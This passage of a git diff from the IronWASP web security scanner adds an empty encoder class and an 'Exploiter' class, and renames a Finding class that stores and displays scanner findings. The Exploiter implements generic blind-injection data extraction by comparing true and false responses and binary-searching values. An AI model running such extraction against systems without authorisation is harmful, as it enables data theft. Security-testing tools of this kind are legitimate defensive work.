9KkAEuIORYZIHhABSJlqufg87hoCncz4arn4om8jOg0RAD+cA8gy13qWIsukXhAB8EC1XHwFGOvbjgwx + plouLvdtRCciAuCPWZjadp2ObJX2iAiAJ6rl4irgDN92ZIAz7LMQPCAC4JeLgH/5NsIjC4BLfBvRyYgA + eKRaLq7BJA3pVEZXy0VJm+YREQD//Ba4w7cRHrgdqPo2otMRAfCM9YCjfNuRMgPAKPH+/hEByAa/B27y + bUSKXA/8wbcRgghAJrBpxH9GZxQTGQBOsfcseEYEIDt0SjGRqzERgJABRAAygvWIo8l3MZG1mJl/33YI + FhGAbHEr+S4mMg8z+y9kBBGADGE946nks5iIFPnIICIA2aMP+JVvIxJgbrVclCIfGUMEIGMMigLyVExk + FXC6byOEoYgAZJP7gAt8GxEjs6vl4v2+jRCGIgKQQWwUcDr5KCayHDn1mFlEADJKtVzMS5YcKfKRYUQA + ss14wi4m8iKS/zDTiABkmGq5+BhhZ8qtVMvFJ3wbIbgRAcg+k4HnfBvRAsuAKb6NEOojApBxquXi04T5 + Ik2ulovLfBsh1EcEIAxCKybyODDNtxHC8IgABIAtJjLJtx1N0CNFPsJABCAcziaMYiJLgXN9GyE0hghA + INhiIuN829EAY6XIRziIAITFLGCxbyPqcD9wvm8jhMYRAQiIarm4EjjNtx11OLVaLubpEFPuEQEIj0uA + e3wbEcFdwKW+jRCaQwQgMKrlYj9wim87IjjFFjoRAkIEIEyyVkxEinwEighAgNiCGlmKAk6RIh9hIgIQ + LlcBN/o2ApPO/BrfRgitIQIQKDaN+Cn4LSYiRT4CRwQgbK4D/uTx969BinwEjQhAwFjPOwo/xUTWYry/ + 78cgtIEIQPj8DbjSw+9egRT5CB4RgMCxHngU6RYT6UdKfOUCEYB8cCfw6xR/7zLMzj8hcEQAcoD1xKNJ + p5jIaqTEV24QAcgPaRUTOR9z6k/IASIAOcF65DHAygR/ZgUwRrx/fhAByBHVcnEJyWbj6a2Wiw/5vk8h + PkQA8kcPyRQTkSIfOUQEIGdUy8VHgV8m0PU0KfKRP0QA8skk4NkY+1uGKVAi5AwRgBxSLRefAabG2OUU + KfKRT0QA8svPiaeYyOOYwiRCDhEByCm2mMjEGLqSIh85RgQg35wDPNLG96XIR84RAcgx1XLxZWBsG11I + kY+cIwKQf2YCD7TwvfuB2b6NF5JFBCDnVMvFVbRWTOQ0+10hx4gAdAYX01wxkbuAub6NFpJHBKADsMVE + RjfxldFS5KMzEAHoHH5DY8VEbgfm+TZWSAcRgA6hwWIiAxjvL2m+OwQRgM7iKuCmOu03AFf7NlJIDxGA + DmJQGvEoDz8AjBLv31ls4tsAIXWuA7aPuH4T8JRv4wRBEARBEARBEARBEARBEARBEARBEARBEARBEARB + EARBEARBEARBEIQI/h+hEP2A1kjQfgAAAABJRU5ErkJggg== + + + \ No newline at end of file diff --git a/Iron/Encoder.cs b/Iron/Encoder.cs new file mode 100644 index 0000000..7d4575d --- /dev/null +++ b/Iron/Encoder.cs @@ -0,0 +1,11 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class Encoder + { + + } +} diff --git a/Iron/Expand.png b/Iron/Expand.png new file mode 100644 index 0000000..899437f Binary files /dev/null and b/Iron/Expand.png differ diff --git a/Iron/Exploiter.cs b/Iron/Exploiter.cs new file mode 100644 index 0000000..dd281d6 --- /dev/null +++ b/Iron/Exploiter.cs @@ -0,0 +1,282 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class Exploiter + { + List TruePayloads = new List(); + List TrueResponses = new List(); + List TrueResBodies = new List(); + + List FalsePayloads = new List(); + List FalseResponses = new List(); + List FalseResBodies = new List(); + + bool WasBoolWorkingChecked = false; + bool intIsBoolWorkeding = false; + + //string CharsList = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-=+\|[]{}'\";:/?.,<>!@#$%^&*()~`"; + + //string AlphaNumChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + //string SymbolChars = " \r\n\t_-=+\\|[]{}'\";:/?.,<>!@#$%^&*()~`"; + + public void AddTrueConditionValues(string Payload, Response Res) + { + TruePayloads.Add(Payload); + TrueResponses.Add(Res); + TrueResBodies.Add(NormalizeResponseBody(Payload, Res)); + } + + public void AddFalseConditionValues(string Payload, Response Res) + { + FalsePayloads.Add(Payload); + FalseResponses.Add(Res); + FalseResBodies.Add(NormalizeResponseBody(Payload, Res)); + } + + public bool IsBoolWorking() + { + if(!WasBoolWorkingChecked) + { + this.intIsBoolWorkeding = CheckBoolWorking(); + } + return this.intIsBoolWorkeding; + } + + bool CheckBoolWorking() + { + for(int i=1; i < FalseResponses.Count;i++) + { + if(FalseResponses[0].Code != FalseResponses[i].Code) return false; + if(!FalseResBodies[0].Equals(FalseResBodies[i])) return false; + } + foreach(string ResStr in TrueResBodies) + { + if(ResStr.Equals(FalseResBodies[0])) return false; + } + return true; + } + + public bool IsTrue(string Payload, Response Res) + { + if(Res.Code == FalseResponses[0].Code && NormalizeResponseBody(Payload, Res).Equals(FalseResBodies[0])) + { + return false; + } + else if(Res.Code == TrueResponses[0].Code) + { + return true; + } + return false; + } + + public int FindNum(PayloadGenerator PayGenFunction, object Info, Fuzzer F) + { + int UpperLimit = 0; + int LowerLimit = 1; + + string Payload = ""; + + bool IsZero = false; + bool IsOne = false; + + if(IsPayloadResponseTrue(F, PayGenFunction(Info, "=", "0"))) + { + IsZero = true; + } + if(IsPayloadResponseTrue(F, PayGenFunction(Info, "=", "1"))) + { + IsOne = true; + } + if (IsOne && IsZero) + { + throw new Exception("Injection does not work"); + } + else if (IsOne) + { + return 1; + } + else if (IsZero) + { + return 0; + } + + for(int i=0; i<100;i++) + //while (true) + { + if (i == 20 || i == 40 || i == 60 || i == 80) + { + if (IsPayloadResponseTrue(F, PayGenFunction(Info, "=", "0"))) + { + throw new Exception("Injection does not work"); + } + } + + int ToCheck = 0; + string Operator = "<"; + if (UpperLimit == 0) + { + ToCheck = LowerLimit * 10; + } + else if (UpperLimit - LowerLimit == 1) + { + Operator = "="; + ToCheck = LowerLimit; + } + else + { + ToCheck = ((UpperLimit - LowerLimit) / 2) + LowerLimit; + } + Payload = PayGenFunction(Info, Operator, ToCheck.ToString()); + if (IsPayloadResponseTrue(F, Payload)) + { + if (Operator == "=") + { + return ToCheck; + } + else + { + UpperLimit = ToCheck; + } + } + else + { + if (Operator == "=" && UpperLimit - LowerLimit == 1) + { + return -1; + } + else + { + LowerLimit = ToCheck; + } + } + } + return -1; + } + + /* + void Main() +{ + Console.WriteLine(FindNum(1398)); +} + +// Define other methods and classes here + +public bool Check(string Operator, int ToCheck, int Num) +{ + Console.Write(string.Format("{0}{1}{2} - ", ToCheck, Operator, Num)); + if(Operator == "=") + { + return (ToCheck == Num); + } + else if (Operator == ">") + { + return (ToCheck > Num); + } + else + { + return (ToCheck < Num); + } +} +public int FindNum(int Num) +{ + int UpperLimit = 0; + int LowerLimit = 1; + + while (true) + { + int ToCheck = 0; + string Operator = "<"; + if (UpperLimit == 0) + { + ToCheck = LowerLimit * 10; + } + else if (UpperLimit - LowerLimit == 1) + { + Operator = "="; + ToCheck = UpperLimit; + } + else + { + ToCheck = ((UpperLimit - LowerLimit) / 2) + LowerLimit; + } + Console.WriteLine(string.Format("Upper: {0} Lower: {1}", UpperLimit, LowerLimit)); + if (Check(Operator, ToCheck, Num)) + { + Console.WriteLine("true"); + if (Operator == "=") + { + return ToCheck; + } + else + { + LowerLimit = ToCheck; + } + } + else + { + Console.WriteLine("false"); + if (Operator == "=" && UpperLimit - LowerLimit == 1) + { + return -1; + } + else + { + UpperLimit = ToCheck; + } + } + } +} + + */ + + public string FindChar(PayloadGenerator PayGenFunction, object Info, Fuzzer F, string Chars) + { + foreach (char C in Chars) + { + string Payload = PayGenFunction(Info, "=", C.ToString()); + if(IsPayloadResponseTrue(F, Payload)) + { + return C.ToString(); + } + } + return "�"; + } + + public string FindCharByCode(PayloadGenerator PayGenFunction, object Info, Fuzzer F) + { + int CharCode = FindNum(PayGenFunction, Info, F); + if (CharCode == -1) + { + return ""; + } + else + { + try + { + return Convert.ToChar(CharCode).ToString(); + } + catch + { + return ""; + } + } + } + + bool IsPayloadResponseTrue(Fuzzer F, string Payload) + { + Response Res = F.Inject(Payload); + return IsTrue(Payload, Res); + } + + public delegate string PayloadGenerator(object Info, string Operator, string Value); + + string NormalizeResponseBody(string Payload, Response Res) + { + return Res.BodyString.Replace(Payload, "").Replace(Tools.UrlEncode(Payload), "").Replace(Tools.HtmlEncode(Payload), ""); + } + + } +} diff --git a/IronWASP/Finding.cs b/Iron/Finding.cs similarity index 97% rename from IronWASP/Finding.cs rename to Iron/Finding.cs index a6ed7a2..a2502c2 100644 --- a/IronWASP/Finding.cs +++ b/Iron/Finding.cs @@ -1,873 +1,876 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; -using System.Xml; -using System.IO; - -namespace IronWASP -{ - public class Finding - { - internal static Finding CurrentPluginResult = null; - internal static List TriggersSelectedForDiff = new List(); - - public int Id = 0; - //public string Plugin=""; - public string Title = ""; - public string Summary = ""; - public string AffectedHost = ""; - public Triggers Triggers = new Triggers(); - public FindingSeverity Severity = FindingSeverity.Low; - public FindingConfidence Confidence = FindingConfidence.Low; - public FindingType Type = FindingType.Vulnerability; - public string Signature = ""; - - public string FinderName = ""; - public string FinderType = ""; - - public int ScanId = 0; - - public string AffectedSection = ""; - public string AffectedParameter = ""; - public List Reasons = new List(); - public string ScanTrace = ""; - - public Request BaseRequest; - public Response BaseResponse; - - static Dictionary>>> Signatures = new Dictionary>>>(); - - public string Plugin - { - get - { - return this.FinderName; - } - set - { - this.FinderName = value; - } - } - - public string XmlSummary - { - set - { - XmlDocument XDoc = new XmlDocument(); - XDoc.XmlResolver = null; - XDoc.LoadXml(value); - foreach (XmlElement Node in XDoc.DocumentElement.ChildNodes) - { - switch (Node.Name) - { - case ("desc"): - this.Summary = Node.InnerText; - break; - case ("trace"): - this.ScanTrace = Node.InnerText; - break; - case ("reasons"): - this.Reasons.Clear(); - foreach (XmlElement ReasonNode in Node.ChildNodes) - { - string Reason = ""; - string ReasonType = ""; - string TriggerIds = ""; - string FalsePositiveCheck = ""; - foreach (XmlElement ReasonValue in ReasonNode.ChildNodes) - { - switch (ReasonValue.Name) - { - case ("desc"): - Reason = ReasonValue.InnerText; - break; - case ("type"): - ReasonType = ReasonValue.InnerText; - break; - case ("triggers"): - TriggerIds = ReasonValue.InnerText; - break; - case ("fpcheck"): - FalsePositiveCheck = ReasonValue.InnerText; - break; - } - } - FindingReason FR = new FindingReason(Reason, ReasonType, FindingReason.StringToTriggerIds(TriggerIds), FalsePositiveCheck); - this.Reasons.Add(FR); - } - break; - } - } - } - get - { - StringBuilder SB = new StringBuilder(); - XmlWriter XW = XmlWriter.Create(SB); - XW.WriteStartDocument(); - XW.WriteStartElement("summary"); - - XW.WriteStartElement("desc"); XW.WriteValue(this.Summary); XW.WriteEndElement(); - if (this.FromActiveScan) - { - if (Reasons.Count > 0) - { - XW.WriteStartElement("reasons"); - foreach (FindingReason Reason in Reasons) - { - XW.WriteStartElement("reason"); - - XW.WriteStartElement("desc"); XW.WriteValue(Reason.Reason); XW.WriteEndElement(); - XW.WriteStartElement("type"); XW.WriteValue(Reason.ReasonType); XW.WriteEndElement(); - XW.WriteStartElement("triggers"); XW.WriteValue(FindingReason.TriggerIdsToString(Reason.TriggerIds)); XW.WriteEndElement(); - XW.WriteStartElement("fpcheck"); XW.WriteValue(Reason.FalsePositiveCheck); XW.WriteEndElement(); - - XW.WriteEndElement(); - } - XW.WriteEndElement(); - } - XW.WriteStartElement("trace"); XW.WriteValue(this.ScanTrace); XW.WriteEndElement(); - } - - XW.WriteEndElement(); - XW.WriteEndDocument(); - XW.Close(); - return SB.ToString(); - } - } - - public string XmlMeta - { - set - { - XmlDocument XDoc = new XmlDocument(); - XDoc.XmlResolver = null; - XDoc.LoadXml(value); - foreach (XmlElement Node in XDoc.DocumentElement.ChildNodes) - { - switch (Node.Name) - { - case ("scanid"): - this.ScanId = Int32.Parse(Node.InnerText); - break; - case ("section"): - this.AffectedSection = Node.InnerText; - break; - case ("parameter"): - this.AffectedParameter = Node.InnerText; - break; - } - } - } - get - { - StringBuilder SB = new StringBuilder(); - XmlWriter XW = XmlWriter.Create(SB); - XW.WriteStartDocument(); - XW.WriteStartElement("meta"); - if (this.FromActiveScan) - { - XW.WriteStartElement("scanid"); XW.WriteValue(this.ScanId); XW.WriteEndElement(); - XW.WriteStartElement("section"); XW.WriteValue(this.AffectedSection); XW.WriteEndElement(); - XW.WriteStartElement("parameter"); XW.WriteValue(this.AffectedParameter); XW.WriteEndElement(); - //ReasonsTypes are stored here to help with searching for issues of similar nature. Values from here are not used to update the Reasons property of Finding. - if (Reasons.Count > 0) - { - XW.WriteStartElement("reasons"); - foreach (FindingReason Reason in Reasons) - { - XW.WriteStartElement("reason"); XW.WriteValue(Reason.ReasonType); XW.WriteEndElement(); - } - XW.WriteEndElement(); - } - } - XW.WriteEndElement(); - XW.WriteEndDocument(); - XW.Close(); - return SB.ToString(); - } - } - - public bool FromActiveScan - { - get - { - return this.FinderType.Equals("ActivePlugin"); - } - } - - public Finding(string AffectedHost) - { - this.AffectedHost = AffectedHost; - } - - public void Report() - { - if (IsSignatureUnique(this.Plugin, this.AffectedHost, this.Type, this.Signature, true)) - { - IronUpdater.AddPluginResult(this); - } - } - - public void AddReason(FindingReason Reason) - { - this.Reasons.Add(Reason); - } - - public static bool IsSignatureUnique(string PluginName, string Host, FindingType Type, string Signature) - { - return IsSignatureUnique(PluginName, Host, Type, Signature, false); - } - - internal static bool IsSignatureUnique(string PluginName, string Host, FindingType Type, string Signature, bool AddIfUnique) - { - bool IsUnique = false; - if (PluginName.Length == 0) return false; - lock (Signatures) - { - if (!Signatures.ContainsKey(PluginName)) - { - IsUnique = true; - if (AddIfUnique) - Signatures.Add(PluginName, new Dictionary>>()); - else - return true; - } - - if (Signature.Length == 0) - { - IsUnique = true; - if (!AddIfUnique) return true; - } - - - if (!Signatures[PluginName].ContainsKey(Host)) - { - IsUnique = true; - if (AddIfUnique) - Signatures[PluginName].Add(Host, new Dictionary>()); - else - return true; - } - - - if (!Signatures[PluginName][Host].ContainsKey(Type.ToString())) - { - IsUnique = true; - if (AddIfUnique) - Signatures[PluginName][Host].Add(Type.ToString(), new List()); - else - return true; - } - - if (IsUnique && AddIfUnique) - { - Signatures[PluginName][Host][Type.ToString()].Add(Signature); - return true; - } - else if (Signatures[PluginName][Host][Type.ToString()].Contains(Signature)) - { - return false; - } - else - { - if (AddIfUnique) - { - Signatures[PluginName][Host][Type.ToString()].Add(Signature); - } - return true; - } - } - } - - public static List GetSignatureList(string PluginName, string Host, FindingType Type) - { - List SignatureList = new List(); - lock (Signatures) - { - if (Signatures.ContainsKey(PluginName)) - { - if (Signatures[PluginName].ContainsKey(Host)) - { - if (Signatures[PluginName][Host].ContainsKey(Type.ToString())) - { - SignatureList.AddRange(Signatures[PluginName][Host][Type.ToString()]); - } - } - } - } - return SignatureList; - } - - public static string GetTriggerHighlighting(Trigger SelectedTrigger, string FinderType, bool IsNormal) - { - return GetTriggerHighlighting(SelectedTrigger, FinderType, IsNormal, true); - } - - public static string GetTriggerHighlighting(Trigger SelectedTrigger, string FinderType, bool IsNormal, bool IncludeDesc) - { - if (IsNormal) - { - return @" -IronWASP's scanner identified this vulnerability by sending special payloads to the application and observing how its responded. - -Before sending the payloads the scanner sends a normal request and sees how the server responds to it. You can see this normal request and response in the adjacent tabs. - -Click on the items named >Trigger> (and an ID number) on the left-side to see the Requests containing the special payloads and corresponding Responses. - -Head to the >>Trigger Analysis Tools>> tab to: -1) Do a diff of the normal Request/Response with the Trigger Request/Response or do a diff of two Trigger Request/Response. -2) View all the payloads, requests and responses associated with the scan that discovered this vulnerability. -3) Resend any Requests from this section or perform other similar actions - -"; - } - - bool RequestTriggerPresent = false; - bool ResponseTriggerPresent = false; - bool RequestTriggerHighlighted = false; - bool ResponseTriggerHighlighted = false; - - string HighlightedRequest = ""; - string HighlightedResponse = ""; - - - if (SelectedTrigger.RequestTrigger.Length > 0) - { - RequestTriggerPresent = true; - if (SelectedTrigger.Request != null) - { - HighlightedRequest = GetRequestTriggerHighlighting(SelectedTrigger.RequestTrigger, SelectedTrigger.Request); - if (HighlightedRequest.Contains(">") && HighlightedRequest.Contains(">")) - { - RequestTriggerHighlighted = true; - } - } - } - - if (SelectedTrigger.ResponseTrigger.Length > 0) - { - ResponseTriggerPresent = true; - if (SelectedTrigger.Response != null) - { - HighlightedResponse = GetResponseTriggerHighlighting(SelectedTrigger.ResponseTrigger, SelectedTrigger.Response); - if (HighlightedResponse.Contains(">") && HighlightedResponse.Contains(">")) - { - ResponseTriggerHighlighted = true; - } - } - } - - StringBuilder SB = new StringBuilder(); - switch (FinderType) - { - case ("ActivePlugin"): - - if (IncludeDesc) - { - SB.Append("One pair of Request and Response that was helpful in identifing this vulnerability is available in the adjacent tabs."); - SB.Append(">"); - SB.Append(GetHighlightDescription(RequestTriggerPresent, ResponseTriggerPresent)); - SB.Append(">"); SB.Append(">"); - } - if (RequestTriggerHighlighted) - { - SB.Append("> Request sent by Scanner: >"); - if (SelectedTrigger.RequestTriggerDescription.Trim().Length > 0) - { - SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.RequestTriggerDescription); SB.Append(">"); - } - SB.Append(">"); SB.Append(">"); - SB.Append(HighlightedRequest); - SB.Append(">"); SB.Append(">"); - } - else - { - if (RequestTriggerPresent) - { - SB.Append("> Interesting part of Request sent by Scanner: >"); - if (SelectedTrigger.RequestTriggerDescription.Trim().Length > 0) - { - SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.RequestTriggerDescription); SB.Append(">"); - } - SB.Append(">"); SB.Append(">"); - SB.Append("IronWASP is not able to automatically highlight the interesting section of the Request, you would have to identify it manually."); - SB.Append(">"); - SB.Append("The scanner reported the following text as being of interest in this case:"); - SB.Append(">"); SB.Append(">"); - SB.Append(GetInterestingTextWrap(SelectedTrigger.RequestTrigger)); - SB.Append(">"); SB.Append(">"); - } - else if (SelectedTrigger.RequestTriggerDescription.Trim().Length > 0) - { - SB.Append("> Information about the Request sent by Scanner: >"); - SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.RequestTriggerDescription); SB.Append(">"); SB.Append(">>"); - } - } - - if (ResponseTriggerHighlighted) - { - SB.Append("> Response from the Server: >"); - if (SelectedTrigger.ResponseTriggerDescription.Trim().Length > 0) - { - SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.ResponseTriggerDescription); SB.Append(">"); - } - SB.Append(">"); SB.Append(">"); - SB.Append(HighlightedResponse); - SB.Append(">"); - } - else - { - if (ResponseTriggerPresent) - { - SB.Append("> Interesting part of Response from the Server: >"); - if (SelectedTrigger.ResponseTriggerDescription.Trim().Length > 0) - { - SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.ResponseTriggerDescription); SB.Append(">"); - } - SB.Append(">"); SB.Append(">"); - SB.Append("IronWASP is not able to automatically highlight the interesting section of the Response, you would have to identify it manually."); - SB.Append(">"); - SB.Append("The scanner reported the following text as being of interest in this case:"); - SB.Append(">"); SB.Append(">"); - SB.Append(GetInterestingTextWrap(SelectedTrigger.ResponseTrigger)); - SB.Append(">"); SB.Append(">"); - } - else if (SelectedTrigger.ResponseTriggerDescription.Trim().Length > 0) - { - SB.Append("> Information about the Response from the Server: >"); - SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.ResponseTriggerDescription); SB.Append(">"); SB.Append(">>"); - } - else - { - if (SelectedTrigger.Response != null) - { - SB.Append(string.Format("> The Response from the Server came back in {0} milli seconds >", SelectedTrigger.Response.RoundTrip)); - } - } - } - break; - - case ("PassivePlugin"): - if (IncludeDesc) - { - SB.Append("One pair of Request and Response that was analyzed to identify this vulnerability is available in the adjacent tabs."); - SB.Append(">"); - SB.Append(GetHighlightDescription(RequestTriggerPresent, ResponseTriggerPresent)); - SB.Append(">"); SB.Append(">"); - } - if (RequestTriggerHighlighted) - { - SB.Append("> Analyzed Request: >"); - if (SelectedTrigger.RequestTriggerDescription.Trim().Length > 0) - { - SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.RequestTriggerDescription); SB.Append(">"); - } - SB.Append(">"); SB.Append(">"); - SB.Append(HighlightedRequest); - SB.Append(">"); SB.Append(">"); - } - else - { - if (RequestTriggerPresent) - { - SB.Append("> Interesting part of Analyzed Request: >"); - if (SelectedTrigger.RequestTriggerDescription.Trim().Length > 0) - { - SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.RequestTriggerDescription); SB.Append(">"); - } - SB.Append(">"); SB.Append(">"); - SB.Append("IronWASP is not able to automatically highlight the interesting section of the Request, you would have to identify it manually."); - SB.Append(">"); - SB.Append("IronWASP's Passive Analyzer reported the following text as being of interest in this case:"); - SB.Append(">"); SB.Append(">"); - SB.Append(GetInterestingTextWrap(SelectedTrigger.RequestTrigger)); - SB.Append(">"); SB.Append(">"); - } - else if (SelectedTrigger.RequestTriggerDescription.Trim().Length > 0) - { - SB.Append("> Information about the Analyzed Request: >"); - SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.RequestTriggerDescription); SB.Append(">"); SB.Append(">>"); - } - - } - - if (ResponseTriggerHighlighted) - { - SB.Append("> Analyzed Response: >"); - if (SelectedTrigger.ResponseTriggerDescription.Trim().Length > 0) - { - SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.ResponseTriggerDescription); SB.Append(">"); - } - SB.Append(">"); SB.Append(">"); - SB.Append(HighlightedResponse); - SB.Append(">"); - } - else - { - if (ResponseTriggerPresent) - { - SB.Append("> Interesting part of Analyzed Response: >"); - if (SelectedTrigger.ResponseTriggerDescription.Trim().Length > 0) - { - SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.ResponseTriggerDescription); SB.Append(">"); - } - SB.Append(">"); SB.Append(">"); - SB.Append("IronWASP is not able to automatically highlight the interesting section of the Response, you would have to identify it manually."); - SB.Append(">"); - SB.Append("IronWASP's Passive Analyzer reported the following text as being of interest in this case:"); - SB.Append(">"); SB.Append(">"); - SB.Append(GetInterestingTextWrap(SelectedTrigger.ResponseTrigger)); - SB.Append(">"); SB.Append(">"); - } - else if (SelectedTrigger.ResponseTriggerDescription.Trim().Length > 0) - { - SB.Append("> Information about the Analyzed Response: >"); - SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.ResponseTriggerDescription); SB.Append(">"); SB.Append(">>"); - } - } - break; - - default: - if (IncludeDesc) - { - SB.Append("One pair of Request and Response that is associated with this vulnerability is available in the adjacent tabs."); - SB.Append(">"); SB.Append(">"); - SB.Append(GetHighlightDescription(RequestTriggerPresent, ResponseTriggerPresent)); - SB.Append(">"); SB.Append(">"); - } - if (RequestTriggerHighlighted) - { - SB.Append("> Associated Request: >"); - if (SelectedTrigger.RequestTriggerDescription.Trim().Length > 0) - { - SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.RequestTriggerDescription); SB.Append(">"); - } - SB.Append(">"); SB.Append(">"); - SB.Append(HighlightedRequest); - SB.Append(">"); SB.Append(">"); - } - else - { - if (RequestTriggerPresent) - { - SB.Append("> Interesting part of Associated Request: >"); - if (SelectedTrigger.RequestTriggerDescription.Trim().Length > 0) - { - SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.RequestTriggerDescription); SB.Append(">"); - } - SB.Append(">"); SB.Append(">"); - SB.Append("IronWASP is not able to automatically highlight the interesting section of the Request, you would have to identify it manually."); - SB.Append(">"); - SB.Append("The component that identified this vulnerability reported the following text as being of interest in this case:"); - SB.Append(">"); SB.Append(">"); - SB.Append(GetInterestingTextWrap(SelectedTrigger.RequestTrigger)); - SB.Append(">"); SB.Append(">"); - } - } - - if (ResponseTriggerHighlighted) - { - SB.Append("> Associated Response: >"); - if (SelectedTrigger.ResponseTriggerDescription.Trim().Length > 0) - { - SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.ResponseTriggerDescription); SB.Append(">"); - } - SB.Append(">"); SB.Append(">"); - SB.Append(HighlightedResponse); - SB.Append(">"); - } - else - { - if (ResponseTriggerPresent) - { - SB.Append("> Interesting part of Associated Response: >"); - if (SelectedTrigger.ResponseTriggerDescription.Trim().Length > 0) - { - SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.ResponseTriggerDescription); SB.Append(">"); - } - SB.Append(">"); SB.Append(">"); - SB.Append("IronWASP is not able to automatically highlight the interesting section of the Response, you would have to identify it manually."); - SB.Append(">"); - SB.Append("The component that identified this vulnerability reported the following text as being of interest in this case:"); - SB.Append(">"); SB.Append(">"); - SB.Append(GetInterestingTextWrap(SelectedTrigger.ResponseTrigger)); - SB.Append(">"); SB.Append(">"); - } - else if (SelectedTrigger.ResponseTriggerDescription.Trim().Length > 0) - { - SB.Append("> Information about the Associated Response: >"); - SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.ResponseTriggerDescription); SB.Append(">"); SB.Append(">>"); - } - } - break; - } - return SB.ToString(); - } - - static string GetHighlightDescription(bool RequestTriggerPresent, bool ResponseTriggerPresent) - { - if (RequestTriggerPresent && ResponseTriggerPresent) - { - return "Below you can see the sections of the Request and Response that are of interest (> highlighted in green>). Non-interesting sections have been stripped away for clarity."; - } - else if (RequestTriggerPresent) - { - return "Below you can see the sections of the Request that are of interest (> highlighted in green>). Non-interesting sections have been stripped away for clarity."; - } - else if (ResponseTriggerPresent) - { - return "Below you can see the sections of the Response that are of interest (> highlighted in green>). Non-interesting sections have been stripped away for clarity."; - } - else - { - return ""; - } - } - - static string GetInterestingTextWrap(string TriggerValue) - { - StringBuilder SB = new StringBuilder(); - SB.Append(" >----- START OF INTERESTING TEXT -----> "); - SB.Append(">"); - SB.Append(Tools.EncodeForTrace(TriggerValue)); - SB.Append(">"); - SB.Append(" >----- END OF INTERESTING TEXT -----> "); - return SB.ToString(); - } - - public static string GetRequestTriggerHighlighting(string Trigg, Request Req) - { - StringBuilder SB = new StringBuilder(); - string ReqHeader = Req.GetHeadersAsString(); - string ReqBody = Req.BodyString; - - List AllTriggerVariations = new List(); - AllTriggerVariations.Add(Trigg); - if (!AllTriggerVariations.Contains(Request.PathPartEncode(Trigg))) AllTriggerVariations.Add(Request.PathPartEncode(Trigg)); - if (!AllTriggerVariations.Contains(QueryParameters.Encode(Trigg))) AllTriggerVariations.Add(QueryParameters.Encode(Trigg)); - if (!AllTriggerVariations.Contains(CookieParameters.Encode(Trigg))) AllTriggerVariations.Add(CookieParameters.Encode(Trigg)); - if (!AllTriggerVariations.Contains(HeaderParameters.Encode(Trigg))) AllTriggerVariations.Add(HeaderParameters.Encode(Trigg)); - - try - { - List HeaderAdjustments = GetHeaderVariations(Trigg, Req.Headers, ReqHeader); - foreach (string HA in HeaderAdjustments) - { - if (!AllTriggerVariations.Contains(HA)) - { - AllTriggerVariations.Add(HA); - } - } - } - catch { } - - List HeaderTriggerVariations = new List(); - - - foreach (string CurrentVariation in AllTriggerVariations) - { - if (!HeaderTriggerVariations.Contains(CurrentVariation) && ReqHeader.Contains(CurrentVariation)) - { - HeaderTriggerVariations.Add(CurrentVariation); - } - } - ReqHeader = Highlighter.InsertHighlights(ReqHeader, HeaderTriggerVariations); - - ReqBody = GetRequestBodyHighlighting(ReqBody, Trigg); - if (!ReqHeader.Contains(">") && !ReqBody.Contains(">")) - { - foreach (string TriggLine in Tools.SplitLines(Trigg)) - { - ReqBody = GetRequestBodyHighlighting(ReqBody, TriggLine); - } - } - - SB.Append(Highlighter.SnipHeaderSection(ReqHeader).TrimEnd()); - SB.AppendLine(); SB.AppendLine(); - SB.Append(Highlighter.SnipBodySection(ReqBody)); - return SB.ToString().Replace("\n", ">"); - } - - static string GetRequestBodyHighlighting(string ReqBody, string Trigg) - { - List AllTriggerVariations = new List(); - AllTriggerVariations.Add(Trigg); - if (!AllTriggerVariations.Contains(BodyParameters.Encode(Trigg))) AllTriggerVariations.Add(BodyParameters.Encode(Trigg)); - - List BodyTriggerVariations = new List(); - foreach (string CurrentVariation in AllTriggerVariations) - { - if (!BodyTriggerVariations.Contains(CurrentVariation) && ReqBody.Contains(CurrentVariation)) - { - BodyTriggerVariations.Add(CurrentVariation); - } - } - ReqBody = Highlighter.InsertHighlights(ReqBody, BodyTriggerVariations); - return ReqBody; - } - - public static string GetResponseTriggerHighlighting(string Trigg, Response Res) - { - StringBuilder SB = new StringBuilder(); - string ResHeader = Res.GetHeadersAsString(); - string ResBody = Res.BodyString; - - List AllTriggerVariations = new List(); - AllTriggerVariations.Add(Trigg); - if (!AllTriggerVariations.Contains(CookieParameters.Encode(Trigg))) AllTriggerVariations.Add(CookieParameters.Encode(Trigg)); - if (!AllTriggerVariations.Contains(HeaderParameters.Encode(Trigg))) AllTriggerVariations.Add(HeaderParameters.Encode(Trigg)); - - try - { - List HeaderAdjustments = GetHeaderVariations(Trigg, Res.Headers, ResHeader); - foreach (string HA in HeaderAdjustments) - { - if 